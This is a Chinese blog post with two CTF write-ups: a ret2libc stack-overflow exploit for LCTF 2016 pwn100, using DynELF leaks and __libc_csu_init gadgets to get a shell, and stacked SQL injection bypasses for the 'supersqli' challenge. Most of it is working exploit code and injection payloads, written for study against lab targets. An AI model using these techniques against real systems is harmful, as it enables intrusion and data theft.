CTF每日一题-Day3


D3 T1 lctf 2016 pwn100

看起来是一道很普通的栈溢出题,但是

没有现成后门,也没有可利用的函数。。。。

翻了一些资料发现是利用DynELF泄露libc地址ret2libc的基础操作

我们可以利用程序中调用的puts()函数进行leak

因为puts()只需要一个参数

利用ROPGadget找一找puts()可以利用的汇编语句
比如 pop rdi;ret 这段指令是将栈上的值传到寄存器rdi(第一个参数上)

[email protected]:~/desktop# ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
0x0000000000400763 : pop rdi ; ret

所以我们可以构造这样的EXP来泄露地址

    elf=ELF("./pwn100")
    puts_plt = elf.plt['puts']
    pop_rdi_ret = 0x400763
    payload="a"*0x40+ p64(pop_rdi_ret)+p64(addr)+p64(puts_plt)#addr是任选的地址
    payload = payload.ljust(200,"a")
    io.send(payload)
    print c.recv()

试一下addr=0x400000(ELF起始地址):

python pwn100.exp.py 
[DEBUG] PLT 0x4004fc puts
[DEBUG] PLT 0x400510 setbuf
[DEBUG] PLT 0x400520 read
[DEBUG] PLT 0x400530 __libc_start_main
[DEBUG] PLT 0x400540 __gmon_start__
[*] '/root/codes/adworld/pwn100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 111.198.29.45 on port 46810: Done
[DEBUG] Sent 0xc8 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  61 61 61 61  61 61 61 61  63 07 40 00  00 00 00 00  │aaaa│aaaa│c·@·│····│
    00000050  00 00 40 00  00 00 00 00  fc 04 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000060  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    000000c0  61 61 61 61  61 61 61 61                            │aaaa│aaaa│
    000000c8
[*] Switching to interactive mode
[DEBUG] Received 0x4 bytes:
    'bye~'
bye~[DEBUG] Received 0x9 bytes:
    00000000  0a 7f 45 4c  46 02 01 01  0a                        │··EL│F···│·│
    00000009

\x7fELF

可以看到返回了地址

然后我们就可以利用这段代码和pwntool提供的DynELF泄露libc地址了

注意的是利用DynELF的话,提供的leak方法必须能够多次被调用,本题中可以通过跳转回__start的方式来实现

所以可以构造如下leak函数

def leak(addr):
    payload="a"*(0x40+8)+p64(pop_rdi_ret)+p64(addr)+p64(start_addr)
    payload = payload.ljust(200,"a")
    cnt = 0
    content =""
    io.send(payload)
    io.recvuntil("bye~\n")
    while True:
        ch = io.recv(numb=1,timeout=0.5)
        cnt += 1
        if content[-1] == '\n' and ch == '':
            content = content[:-1]+'\x00'
            break
        else:
            content += ch
    content = content[:4] #只保留4个字节
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

然后就可以调用DynELF模块泄露system的地址了

#DynELF模块利用方法
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')

我们找到了system的地址,但是还有一个问题

"/bin/sh"这个参数怎么放进去呢?

我们需要找到一个具有读写权限的地址,来写入/bin/sh。

然后调用的时候用寄存器取地址即可

可以通过vmmap命令找地址。

或者在IDA里面找bss段的地址。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         rwxp      /root/codes/adworld/pwn100
0x00600000         0x00601000         r--p      /root/codes/adworld/pwn100
0x00601000         0x00602000         rw-p      /root/codes/adworld/pwn100

发现0x00601000到0x00602000是可读写的

我们把"/bin/sh"写到0x00601000上

这次我们利用程序里带的read()来进行操作

read()函数有三个参数,

怎么构造ROP链呢。。。

可以利用经典的__libc_csu_init()通用gadget

gadget 1

.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

gadget 2

.text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

构成的链

r13 == rdx == arg3
r14 == rsi == arg2
r15d == edi == arg1
r12 == call address

构造的payload:

gadget1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
gadget2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)

payload='A'*(0x40 + 8)
payload+=p64(gadget1)
payload+=p64(0)           #rbx=0
payload+=p64(1)           #rbp=1  
payload+=p64(read_got)    #call  read()
payload+=p64(8)           #size
payload+=p64(sh_addr)  #buf
payload+=p64(1)           #stdin
payload+=p64(gadget2)     #ret to gadget2
payload+='\x00'*56        #这两段代码运行后,会将栈顶指针移动56字节,我们在栈中布置56个字节即可。
payload+=p64(start_addr)  #ret to start_addr
payload = payload.ljust(200,"a")

Exp:

#coding=utf-8
from pwn import *

context(arch='amd64',os='linux')

elf=ELF("./pwn100")
io=remote("111.198.29.45","46810")

puts_plt = elf.plt['puts']
read_got = elf.got['read']
pop_rdi_ret = 0x400763
start_addr = 0x400550
sh_addr= 0x601000

def leak(addr):
    payload="a"*(0x40+8)+p64(pop_rdi_ret)+p64(addr)+p64(puts_plt)+p64(start_addr)
    payload = payload.ljust(200,"a")
    content =""
    lst =""
    io.send(payload)
    io.recvuntil("bye~\n")
    while True:
        ch = io.recv(numb=1,timeout=0.2)
        if lst == '\n' and ch == '':
            content = content[:-1]+'\x00'
            break
        else:
            content += ch
            lst = ch
    content = content[:4] #只保留4个字节
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

gadget1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
gadget2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)

payload='A'*(0x40 + 8)
payload+=p64(gadget1)
payload+=p64(0)           #rbx=0
payload+=p64(1)           #rbp=1  
payload+=p64(read_got)    #call  read()
payload+=p64(8)           #size
payload+=p64(sh_addr)  #buf
payload+=p64(1)           #stdin
payload+=p64(gadget2)     #ret to gadget2
payload+='\x00'*56        #这两段代码运行后,会将栈顶指针移动56字节,我们在栈中布置56个字节即可。
payload+=p64(start_addr)  #ret to start_addr
payload = payload.ljust(200,"a")

io.send(payload)
io.recvuntil("bye~\n")
io.send("/bin/sh\x00")# 记得加上\x00来截断


payload ="a"*0x48+p64(pop_rdi_ret)+p64(sh_addr)+p64(sys_addr)
payload = payload.ljust(200,"a")

io.send(payload)
io.interactive()

参考资料

amd64各寄存器
大佬的详细wp:http://liul14n.top/2019/12/02/LCTF-2016-pwn100/

amd64的各寄存器和栈帧:https://blog.csdn.net/u013982161/article/details/51347944

DynELF介绍:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn

puts的Leak函数编写:https://www.anquanke.com/post/id/85129

__libc_csu_init函数的通用gadget:https://www.cnblogs.com/ox9a82/p/5487725.html

Rop Gadget https://www.cnblogs.com/ichunqiu/p/9288935.html

一步一步学ROP:http://www.vuln.cn/6644

关于PLT和GOT表的一些问题:https://www.jianshu.com/p/5092d6d5caa3

D3 T2 supersqli

试一下注入

?inject=?inject=1' or '1'='1

返回

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

看了存在注入点

试一下注入

?inject=1' union select database()#

显示

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

看了是过滤了select|update|delete|drop|insert|where,这怎么搞。。。。

看了大佬的博客,发现了堆叠注入这一操作

试一下

?inject=1';show databases;#

返回

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

show tables返回两张表

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

存在堆叠注入

利用

@t=(sql 查询语句的hex值);prepare x from @t;execute x;#

bypass进行堆叠注入

python
>>> import binascii
>>> binascii.b2a_hex("select * from supersqli.1919810931114514")
'73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134'

可得

payload=?inject=1';set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#

有一个坑点是题目用strstr对prepare和excute做了过滤,但是可以通过改变大小写来bypass

第二种方法是利用chr()拼接bypass

可以利用python写个脚本跑一跑

payload = "1';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
    res += "char(%s),"%(ord(i))
encode_payload = payload%(res[:-1])
print encode_payload

第三种方法是利用堆叠注入把1919810931114514这个表重命名为word,然后查询的时候就可直接查到这个表了

payload=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

参考资料:

堆叠注入:https://www.cnblogs.com/0nth3way/articles/7128189.html

两种解法:https://blog.zeddyu.info/2019/06/04/2019qwb/#%E9%9A%8F%E4%BE%BF%E6%B3%A8

char的解法:https://skysec.top/2019/05/25/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFonline-Web-Writeup/#%E9%9A%8F%E4%BE%BF%E6%B3%A8

声明:Eki's Blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - CTF每日一题-Day3


A Dreamer Full of Dream